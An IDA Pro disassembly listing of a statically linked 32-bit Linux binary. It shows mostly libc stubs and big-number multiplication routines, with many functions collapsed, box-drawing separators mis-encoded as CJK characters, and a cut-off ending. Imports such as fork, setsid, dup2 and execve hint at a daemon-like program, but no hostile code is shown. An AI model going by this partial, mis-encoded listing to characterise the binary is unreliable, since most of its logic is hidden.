__libc_init+50p ; DATA XREF: __libc_subinit:080675CCo push ebp mov ebp, esp mov esp, ebp pop ebp retn sub_8056D3C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [000000D0 BYTES: COLLAPSED FUNCTION __libc_init. PRESS KEYPAD "+" TO EXPAND] ; [0000004E BYTES: COLLAPSED FUNCTION _strerror_internal. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8056E64 proc near ; CODE XREF: __libc_chdir+17p ; __libc_close+17p ... push ebp mov ebp, esp mov eax, offset errno mov esp, ebp pop ebp retn sub_8056E64 endp ; [000002C2 BYTES: COLLAPSED FUNCTION __writev. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000029 BYTES: COLLAPSED FUNCTION __libc_chdir. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000029 BYTES: COLLAPSED FUNCTION __libc_close. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000002C BYTES: COLLAPSED FUNCTION __libc_dup2. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION __libc_execve. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000024 BYTES: COLLAPSED FUNCTION fork. PRESS KEYPAD "+" TO EXPAND] ; [00000024 BYTES: COLLAPSED FUNCTION __libc_geteuid. PRESS KEYPAD "+" TO EXPAND] ; [00000024 BYTES: COLLAPSED FUNCTION __libc_getpid. PRESS KEYPAD "+" TO EXPAND] ; [0000002C BYTES: COLLAPSED FUNCTION __libc_gettimeofday. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION __libc_ioctl. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000002C BYTES: COLLAPSED FUNCTION __libc_kill. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION __libc_open. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000002F BYTES: COLLAPSED FUNCTION __libc_read. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000024 BYTES: COLLAPSED FUNCTION __libc_setsid. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION __libc_sigprocmask. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000029 BYTES: COLLAPSED FUNCTION __libc_uname. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000029 BYTES: COLLAPSED FUNCTION remove. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000002F BYTES: COLLAPSED FUNCTION __libc_write. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000029 BYTES: COLLAPSED FUNCTION __libc_alarm. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000029 BYTES: COLLAPSED FUNCTION __libc_time. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000002F BYTES: COLLAPSED FUNCTION __libc_syscall_writev. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000025 BYTES: COLLAPSED FUNCTION __select. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000051 BYTES: COLLAPSED FUNCTION __sigaction. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000038 BYTES: COLLAPSED FUNCTION sigsuspend. PRESS KEYPAD "+" TO EXPAND] ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame exit_ proc near ; CODE XREF: real_start+5E0p ; real_start+68Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov eax, 1 mov ebx, [ebp+arg_0] int 80h ; LINUX - sys_exit mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn exit_ endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [0000003B BYTES: COLLAPSED FUNCTION __setfpucw. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 sub_80575A8 proc near ; DATA XREF: __sigaction+14o add esp, 4 pop eax pop ecx pop edx popf retn sub_80575A8 endp ; sp = 14h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 sub_80575B0 proc near ; DATA XREF: __sigaction+20o add esp, 4 call __sigsetmask add esp, 4 pop eax pop ecx pop edx popf retn sub_80575B0 endp ; sp = 18h ; [000001A1 BYTES: COLLAPSED FUNCTION memchr. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000004F BYTES: COLLAPSED FUNCTION memset. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001AE BYTES: COLLAPSED FUNCTION strcat. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000016C BYTES: COLLAPSED FUNCTION strchr. PRESS KEYPAD "+" TO EXPAND] ; [00000025 BYTES: COLLAPSED FUNCTION strcmp. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000002C BYTES: COLLAPSED FUNCTION strncmp. PRESS KEYPAD "+" TO EXPAND] ; [000000B5 BYTES: COLLAPSED FUNCTION strpbrk. PRESS KEYPAD "+" TO EXPAND] align 4 ; [000001BF BYTES: COLLAPSED FUNCTION rindex. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B3 BYTES: COLLAPSED FUNCTION strspn. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000032 BYTES: COLLAPSED FUNCTION __isinf. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000003E BYTES: COLLAPSED FUNCTION __isinfl. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000033 BYTES: COLLAPSED FUNCTION __isnan. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000003B BYTES: COLLAPSED FUNCTION __isnanl. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000003F BYTES: COLLAPSED FUNCTION __mpn_cmp. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000010A BYTES: COLLAPSED FUNCTION __mpn_extract_double. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000059D BYTES: COLLAPSED FUNCTION __mpn_divmod. PRESS KEYPAD "+" TO EXPAND] align 4 ; [000000D7 BYTES: COLLAPSED FUNCTION __mpn_extract_long_double. PRESS KEYPAD "+" TO EXPAND] align 8 ; [0000005B BYTES: COLLAPSED FUNCTION __mpn_lshift. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000066F BYTES: COLLAPSED FUNCTION __mpn_mul. PRESS KEYPAD "+" TO EXPAND] align 8 ; [0000003F BYTES: COLLAPSED FUNCTION __mpn_mul_1. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000226 BYTES: COLLAPSED FUNCTION ____mpn_mul_n_basecase. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8059048 proc near ; CODE XREF: __mpn_mul+2AEp ; __mpn_mul+2FEp ... var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h push edi push esi push ebx mov esi, [ebp+arg_C] test esi, 1 jz loc_805911C dec esi mov [ebp+var_14], esi cmp esi, 1Fh jle short loc_80590D4 mov edi, [ebp+arg_10] push edi push esi mov esi, [ebp+arg_8] push esi mov edi, [ebp+arg_4] push edi mov esi, [ebp+arg_0] push esi call sub_8059048 add esp, 14h loc_8059082: ; CODE XREF: sub_8059048+A4j mov edi, [ebp+var_14] mov esi, [ebp+arg_8] mov eax, [esi+edi*4] push eax push edi mov edi, [ebp+arg_4] push edi mov esi, [ebp+var_14] mov edi, [ebp+arg_0] lea ebx, [edi+esi*4] push ebx call __mpn_addmul_1 mov edx, eax mov eax, [ebp+var_14] add eax, eax mov [edi+eax*4], edx mov edi, [ebp+arg_4] mov eax, [edi+esi*4] push eax mov esi, [ebp+arg_C] push esi mov edi, [ebp+arg_8] push edi push ebx call __mpn_addmul_1 mov edx, eax mov eax, [ebp+arg_C] add eax, [ebp+var_14] mov esi, [ebp+arg_0] mov [esi+eax*4], edx jmp loc_8059710 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80590D4: ; CODE XREF: sub_8059048+1Fj mov edi, [ebp+var_14] push edi mov esi, [ebp+arg_8] push esi mov edi, [ebp+arg_4] push edi mov esi, [ebp+arg_0] push esi call ____mpn_mul_n_basecase add esp, 10h jmp short loc_8059082 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80590F0: ; CODE XREF: sub_8059048+E0j mov edi, [ebp+var_4] push edi lea eax, ds:0[edi*4] mov edx, [ebp+arg_8] add edx, eax push edx add eax, [ebp+arg_4] push eax mov esi, [ebp+arg_C] mov edi, [ebp+arg_0] lea eax, [edi+esi*4] push eax call ____mpn_mul_n_basecase add esp, 10h jmp short loc_8059152 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805911C: ; CODE XREF: sub_8059048+12j mov esi, [ebp+arg_C] sar esi, 1 mov [ebp+var_4], esi cmp esi, 1Fh jle short loc_80590F0 mov edi, [ebp+arg_10] push edi push esi lea eax, ds:0[esi*4] mov edx, [ebp+arg_8] add edx, eax push edx add eax, [ebp+arg_4] push eax mov esi, [ebp+arg_C] mov edi, [ebp+arg_0] lea eax, [edi+esi*4] push eax call sub_8059048 add esp, 14h loc_8059152: ; CODE XREF: sub_8059048+CFj mov esi, [ebp+var_4] push esi mov edi, [ebp+arg_4] push edi lea ebx, [edi+esi*4] push ebx call __mpn_cmp add esp, 0Ch test eax, eax jl short loc_8059180 push esi push edi push ebx mov esi, [ebp+arg_0] push esi call __mpn_sub_n mov [ebp+var_C], 0 jmp short loc_805919C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8059180: ; CODE XREF: sub_8059048+120j mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_4] lea eax, [esi+edi*4] push eax push esi mov edi, [ebp+arg_0] push edi call __mpn_sub_n mov [ebp+var_C], 1 loc_805919C: ; CODE XREF: sub_8059048+135j add esp, 10h mov esi, [ebp+var_4] push esi mov edi, [ebp+arg_8] push edi shl esi, 2 mov [ebp+var_14], esi mov ebx, [ebp+arg_8] add ebx, esi push ebx call __mpn_cmp add esp, 0Ch test eax, eax jl short loc_80591F8 mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_8] push esi push ebx mov eax, [ebp+arg_0] add eax, [ebp+var_14] push eax call __mpn_sub_n xor byte ptr [ebp+var_C], 1 jmp short loc_8059216 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80591DC: ; CODE XREF: sub_8059048+1D5j mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_0] lea eax, [esi+edi*4] push eax push esi mov edi, [ebp+arg_10] push edi call ____mpn_mul_n_basecase add esp, 10h jmp short loc_8059241 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80591F8: ; CODE XREF: sub_8059048+175j mov esi, [ebp+var_4] push esi lea eax, ds:0[esi*4] mov edx, [ebp+arg_8] add edx, eax push edx mov edi, [ebp+arg_8] push edi add eax, [ebp+arg_0] push eax call __mpn_sub_n loc_8059216: ; CODE XREF: sub_8059048+190j add esp, 10h cmp [ebp+var_4], 1Fh jle short loc_80591DC mov esi, [ebp+arg_C] mov edi, [ebp+arg_10] lea eax, [edi+esi*4] push eax mov esi, [ebp+var_4] push esi mov edi, [ebp+arg_0] lea eax, [edi+esi*4] push eax push edi mov esi, [ebp+arg_10] push esi call sub_8059048 add esp, 14h loc_8059241: ; CODE XREF: sub_8059048+1ACj cmp [ebp+var_4], 0 jle loc_80592CF mov edi, [ebp+arg_C] lea edx, ds:0[edi*4] mov esi, [ebp+var_4] lea ecx, ds:0[esi*4] lea ebx, [edx+ecx] mov eax, esi and eax, 3 jz short loc_80592A4 cmp eax, 1 jle short loc_8059291 cmp eax, 2 jle short loc_8059282 mov edi, [ebp+arg_0] mov eax, [edi+edx] mov [edi+ecx], eax add edx, 4 add ecx, 4 loc_8059282: ; CODE XREF: sub_8059048+229j mov esi, [ebp+arg_0] mov eax, [esi+edx] mov [esi+ecx], eax add edx, 4 add ecx, 4 loc_8059291: ; CODE XREF: sub_8059048+224j mov edi, [ebp+arg_0] mov eax, [edi+edx] mov [edi+ecx], eax add edx, 4 add ecx, 4 cmp edx, ebx jz short loc_80592CF loc_80592A4: ; CODE XREF: sub_8059048+21Fj ; sub_8059048+285j mov esi, [ebp+arg_0] mov eax, [esi+edx] mov [esi+ecx], eax mov eax, [esi+edx+4] mov [esi+ecx+4], eax mov eax, [esi+edx+8] mov [esi+ecx+8], eax mov eax, [esi+edx+0Ch] mov [esi+ecx+0Ch], eax add edx, 10h add ecx, 10h cmp edx, ebx jnz short loc_80592A4 loc_80592CF: ; CODE XREF: sub_8059048+1FDj ; sub_8059048+25Aj mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_C] mov edi, [ebp+arg_0] lea edx, [edi+esi*4] mov esi, [ebp+var_4] lea ebx, ds:0[esi*4] lea eax, [ebx+edx] push eax push edx push edx call __mpn_add_n mov [ebp+var_8], eax add esp, 10h cmp [ebp+var_C], 0 jz short loc_8059334 mov edi, [ebp+arg_C] push edi mov esi, [ebp+arg_10] push esi mov eax, [ebp+arg_0] add eax, ebx push eax push eax call __mpn_sub_n sub [ebp+var_8], eax jmp short loc_805934F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8059318: ; CODE XREF: sub_8059048+30Ej mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_8] push esi mov edi, [ebp+arg_4] push edi mov esi, [ebp+arg_10] push esi call ____mpn_mul_n_basecase add esp, 10h jmp short loc_805937A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8059334: ; CODE XREF: sub_8059048+2B3j mov edi, [ebp+arg_C] push edi mov esi, [ebp+arg_10] push esi mov edi, [ebp+var_4] mov esi, [ebp+arg_0] lea eax, [esi+edi*4] push eax push eax call __mpn_add_n add [ebp+var_8], eax loc_805934F: ; CODE XREF: sub_8059048+2CCj add esp, 10h cmp [ebp+var_4], 1Fh jle short loc_8059318 mov edi, [ebp+arg_C] mov esi, [ebp+arg_10] lea eax, [esi+edi*4] push eax mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_8] push esi mov edi, [ebp+arg_4] push edi mov esi, [ebp+arg_10] push esi call sub_8059048 add esp, 14h loc_805937A: ; CODE XREF: sub_8059048+2E8j mov edi, [ebp+arg_C] push edi mov esi, [ebp+arg_10] push esi mov edi, [ebp+var_4] mov esi, [ebp+arg_0] lea ebx, [esi+edi*4] push ebx push ebx call __mpn_add_n add [ebp+var_8], eax add esp, 10h cmp [ebp+var_8], 0 jz loc_805950C mov edi, [ebp+arg_C] lea ebx, [ebx+edi*4] mov esi, [ebp+var_4] mov [ebp+var_10], esi mov edx, [ebx] lea edi, [ebx+4] mov [ebp+var_14], edi mov eax, [ebp+var_8] add eax, edx mov [ebx], eax mov ebx, [ebp+var_14] cmp eax, edx jnb loc_805949C dec esi mov [ebp+var_10], esi jz loc_805950C mov eax, esi neg eax and eax, 3 test esi, esi jle short loc_8059422 test eax, eax jz short loc_8059440 cmp eax, 3 jge short loc_8059422 cmp eax, 2 jge short loc_805940A mov edx, [ebx] inc edx lea esi, [ebx+4] mov [ebp+var_14], esi mov [ebx], edx mov ebx, [ebp+var_14] test edx, edx jnz loc_805949C mov edi, [ebp+var_4] add edi, 0FFFFFFFEh mov [ebp+var_10], edi loc_805940A: ; CODE XREF: sub_8059048+3A1j mov esi, [ebp+var_14] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_14], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_805949C dec [ebp+var_10] loc_8059422: ; CODE XREF: sub_8059048+393j ; sub_8059048+39Cj mov edi, [ebp+var_14] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_14], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_805949C dec [ebp+var_10] jz loc_805950C loc_8059440: ; CODE XREF: sub_8059048+397j ; sub_8059048+44Fj mov esi, [ebp+var_14] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_14], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_805949C dec [ebp+var_10] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_14], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_805949C dec [ebp+var_10] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_14], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_805949C dec [ebp+var_10] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_14], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_805949C dec [ebp+var_10] jnz short loc_8059440 jmp short loc_805950C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805949C: ; CODE XREF: sub_8059048+37Aj ; sub_8059048+3B3j ... cmp [ebp+var_14], ebx jz short loc_805950C xor ecx, ecx mov edi, [ebp+var_10] dec edi mov [ebp+var_10], edi cmp ecx, edi jge short loc_805950C mov eax, edi and eax, 3 jz short loc_80594E0 cmp eax, 1 jle short loc_80594D1 cmp eax, 2 jle short loc_80594C7 mov esi, [ebp+var_14] mov eax, [esi] mov [ebx], eax inc ecx loc_80594C7: ; CODE XREF: sub_8059048+475j mov edi, [ebp+var_14] mov eax, [edi+ecx*4] mov [ebx+ecx*4], eax inc ecx loc_80594D1: ; CODE XREF: sub_8059048+470j mov esi, [ebp+var_14] mov eax, [esi+ecx*4] mov [ebx+ecx*4], eax inc ecx cmp [ebp+var_10], ecx jz short loc_805950C loc_80594E0: ; CODE XREF: sub_8059048+46Bj ; sub_8059048+4C2j mov edi, [ebp+var_14] mov eax, [edi+ecx*4] mov [ebx+ecx*4], eax lea edx, [ecx+1] mov eax, [edi+edx*4] mov [ebx+edx*4], eax lea edx, [ecx+2] mov eax, [edi+edx*4] mov [ebx+edx*4], eax lea edx, [ecx+3] mov eax, [edi+edx*4] mov [ebx+edx*4], eax add ecx, 4 cmp [ebp+var_10], ecx jnz short loc_80594E0 loc_805950C: ; CODE XREF: sub_8059048+354j ; sub_8059048+384j ... xor ecx, ecx cmp [ebp+var_4], ecx jle short loc_805957F mov eax, [ebp+var_4] and eax, 3 jz short loc_8059550 cmp eax, 1 jle short loc_805953D cmp eax, 2 jle short loc_8059530 mov esi, [ebp+arg_10] mov eax, [esi] mov edi, [ebp+arg_0] mov [edi], eax inc ecx loc_8059530: ; CODE XREF: sub_8059048+4DBj mov esi, [ebp+arg_10] mov eax, [esi+ecx*4] mov edi, [ebp+arg_0] mov [edi+ecx*4], eax inc ecx loc_805953D: ; CODE XREF: sub_8059048+4D6j mov esi, [ebp+arg_10] mov eax, [esi+ecx*4] mov edi, [ebp+arg_0] mov [edi+ecx*4], eax inc ecx cmp [ebp+var_4], ecx jz short loc_805957F nop loc_8059550: ; CODE XREF: sub_8059048+4D1j ; sub_8059048+535j mov esi, [ebp+arg_10] mov eax, [esi+ecx*4] mov edi, [ebp+arg_0] mov [edi+ecx*4], eax lea eax, [ecx+1] mov edx, [esi+eax*4] mov [edi+eax*4], edx lea eax, [ecx+2] mov edx, [esi+eax*4] mov [edi+eax*4], edx lea eax, [ecx+3] mov edx, [esi+eax*4] mov [edi+eax*4], edx add ecx, 4 cmp [ebp+var_4], ecx jnz short loc_8059550 loc_805957F: ; CODE XREF: sub_8059048+4C9j ; sub_8059048+505j mov esi, [ebp+var_4] push esi lea eax, ds:0[esi*4] mov edx, [ebp+arg_10] add edx, eax push edx add eax, [ebp+arg_0] push eax push eax call __mpn_add_n mov [ebp+var_8], eax test eax, eax jz loc_8059710 mov edi, [ebp+arg_C] mov esi, [ebp+arg_0] lea ebx, [esi+edi*4] mov [ebp+var_10], edi mov edx, [ebx] lea edi, [ebx+4] mov [ebp+var_14], edi lea eax, [edx+1] mov [ebx], eax mov ebx, [ebp+var_14] cmp eax, edx jnb loc_80596A0 dec [ebp+var_10] jz loc_8059710 mov eax, [ebp+var_10] neg eax and eax, 3 cmp [ebp+var_10], 0 jle short loc_8059623 test eax, eax jz short loc_8059644 cmp eax, 3 jge short loc_8059623 cmp eax, 2 jge short loc_8059607 mov edx, [ebx] inc edx lea esi, [ebx+4] mov [ebp+var_14], esi mov [ebx], edx mov ebx, [ebp+var_14] test edx, edx jnz loc_80596A0 dec [ebp+var_10] loc_8059607: ; CODE XREF: sub_8059048+5A4j mov edi, [ebp+var_14] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_14], edi mov [ebx], edx add ebx, 4 test edx, edx jnz loc_80596A0 dec [ebp+var_10] loc_8059623: ; CODE XREF: sub_8059048+596j ; sub_8059048+59Fj mov esi, [ebp+var_14] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_14], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_80596A0 dec [ebp+var_10] jz loc_8059710 lea esi, [esi+0] loc_8059644: ; CODE XREF: sub_8059048+59Aj ; sub_8059048+653j mov edi, [ebp+var_14] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_14], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_80596A0 dec [ebp+var_10] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_14], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_80596A0 dec [ebp+var_10] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_14], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_80596A0 dec [ebp+var_10] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_14], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_80596A0 dec [ebp+var_10] jnz short loc_8059644 jmp short loc_8059710 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80596A0: ; CODE XREF: sub_8059048+57Bj ; sub_8059048+5B6j ... cmp [ebp+var_14], ebx jz short loc_8059710 xor ecx, ecx mov esi, [ebp+var_10] dec esi mov [ebp+var_10], esi cmp ecx, esi jge short loc_8059710 mov eax, esi and eax, 3 jz short loc_80596E4 cmp eax, 1 jle short loc_80596D5 cmp eax, 2 jle short loc_80596CB mov edi, [ebp+var_14] mov eax, [edi] mov [ebx], eax inc ecx loc_80596CB: ; CODE XREF: sub_8059048+679j mov esi, [ebp+var_14] mov eax, [esi+ecx*4] mov [ebx+ecx*4], eax inc ecx loc_80596D5: ; CODE XREF: sub_8059048+674j mov edi, [ebp+var_14] mov eax, [edi+ecx*4] mov [ebx+ecx*4], eax inc ecx cmp [ebp+var_10], ecx jz short loc_8059710 loc_80596E4: ; CODE XREF: sub_8059048+66Fj ; sub_8059048+6C6j mov esi, [ebp+var_14] mov eax, [esi+ecx*4] mov [ebx+ecx*4], eax lea edx, [ecx+1] mov eax, [esi+edx*4] mov [ebx+edx*4], eax lea edx, [ecx+2] mov eax, [esi+edx*4] mov [ebx+edx*4], eax lea edx, [ecx+3] mov eax, [esi+edx*4] mov [ebx+edx*4], eax add ecx, 4 cmp [ebp+var_10], ecx jnz short loc_80596E4 loc_8059710: ; CODE XREF: sub_8059048+85j ; sub_8059048+557j ... lea esp, [ebp+var_20] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8059048 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805971C proc near ; CODE XREF: sub_8059938+8Cp ; sub_8059938+ADp ... var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push edi push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, [esi] cmp eax, 1 ja loc_8059810 jnz short loc_80597AC xor ecx, ecx cmp [ebp+arg_8], ecx jle loc_805980B mov eax, [ebp+arg_8] and eax, 3 jz short loc_805977C cmp eax, 1 jle short loc_8059766 cmp eax, 2 jle short loc_805975C mov dword ptr [ebx], 1 inc ecx loc_805975C: ; CODE XREF: sub_805971C+37j mov edi, [ebp+arg_4] mov eax, [edi+ecx*4] mov [ebx+ecx*4], eax inc ecx loc_8059766: ; CODE XREF: sub_805971C+32j mov esi, [ebp+arg_4] mov eax, [esi+ecx*4] mov [ebx+ecx*4], eax inc ecx cmp [ebp+arg_8], ecx jz loc_805980B lea esi, [esi+0] loc_805977C: ; CODE XREF: sub_805971C+2Dj ; sub_805971C+8Aj mov edi, [ebp+arg_4] mov eax, [edi+ecx*4] mov [ebx+ecx*4], eax lea eax, [ecx+1] mov edx, [edi+eax*4] mov [ebx+eax*4], edx lea eax, [ecx+2] mov edx, [edi+eax*4] mov [ebx+eax*4], edx lea eax, [ecx+3] mov edx, [edi+eax*4] mov [ebx+eax*4], edx add ecx, 4 cmp [ebp+arg_8], ecx jnz short loc_805977C jmp short loc_805980B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80597AC: ; CODE XREF: sub_805971C+1Aj xor eax, eax cmp [ebp+arg_8], eax jle short loc_805980B mov edx, [ebp+arg_8] and edx, 3 jz short loc_80597E4 cmp edx, 1 jle short loc_80597D4 cmp edx, 2 jle short loc_80597CC mov dword ptr [ebx], 0 inc eax loc_80597CC: ; CODE XREF: sub_805971C+A7j mov dword ptr [ebx+eax*4], 0 inc eax loc_80597D4: ; CODE XREF: sub_805971C+A2j mov dword ptr [ebx+eax*4], 0 inc eax cmp [ebp+arg_8], eax jz short loc_805980B lea esi, [esi+0] loc_80597E4: ; CODE XREF: sub_805971C+9Dj ; sub_805971C+EDj mov dword ptr [ebx+eax*4], 0 mov dword ptr [ebx+eax*4+4], 0 mov dword ptr [ebx+eax*4+8], 0 mov dword ptr [ebx+eax*4+0Ch], 0 add eax, 4 cmp [ebp+arg_8], eax jnz short loc_80597E4 loc_805980B: ; CODE XREF: sub_805971C+21j ; sub_805971C+57j ... xor edx, edx jmp short loc_8059824 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8059810: ; CODE XREF: sub_805971C+14j push eax mov esi, [ebp+arg_8] push esi mov edi, [ebp+arg_4] push edi push ebx call __mpn_mul_1 mov edx, eax add esp, 10h loc_8059824: ; CODE XREF: sub_805971C+F1j mov esi, [ebp+arg_8] mov [ebx+esi*4], edx add ebx, 4 mov [ebp+var_4], 1 cmp [ebp+var_4], esi jge loc_805992C test esi, 1 jnz short loc_8059890 mov edi, [ebp+arg_4] mov eax, [edi+4] cmp eax, 1 ja short loc_8059864 xor edx, edx cmp eax, 1 jnz short loc_8059878 push esi push edi push ebx push ebx call __mpn_add_n jmp short loc_8059873 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8059864: ; CODE XREF: sub_805971C+132j push eax mov esi, [ebp+arg_8] push esi mov edi, [ebp+arg_4] push edi push ebx call __mpn_addmul_1 loc_8059873: ; CODE XREF: sub_805971C+144j mov edx, eax add esp, 10h loc_8059878: ; CODE XREF: sub_805971C+139j mov esi, [ebp+arg_8] mov [ebx+esi*4], edx add ebx, 4 inc [ebp+var_4] cmp [ebp+var_4], esi jz loc_805992C lea esi, [esi+0] loc_8059890: ; CODE XREF: sub_805971C+127j ; sub_805971C+20Aj mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov eax, [esi+edi*4] cmp eax, 1 ja short loc_80598B4 xor edx, edx cmp eax, 1 jnz short loc_80598C8 mov edi, [ebp+arg_8] push edi push esi push ebx push ebx call __mpn_add_n jmp short loc_80598C3 ; 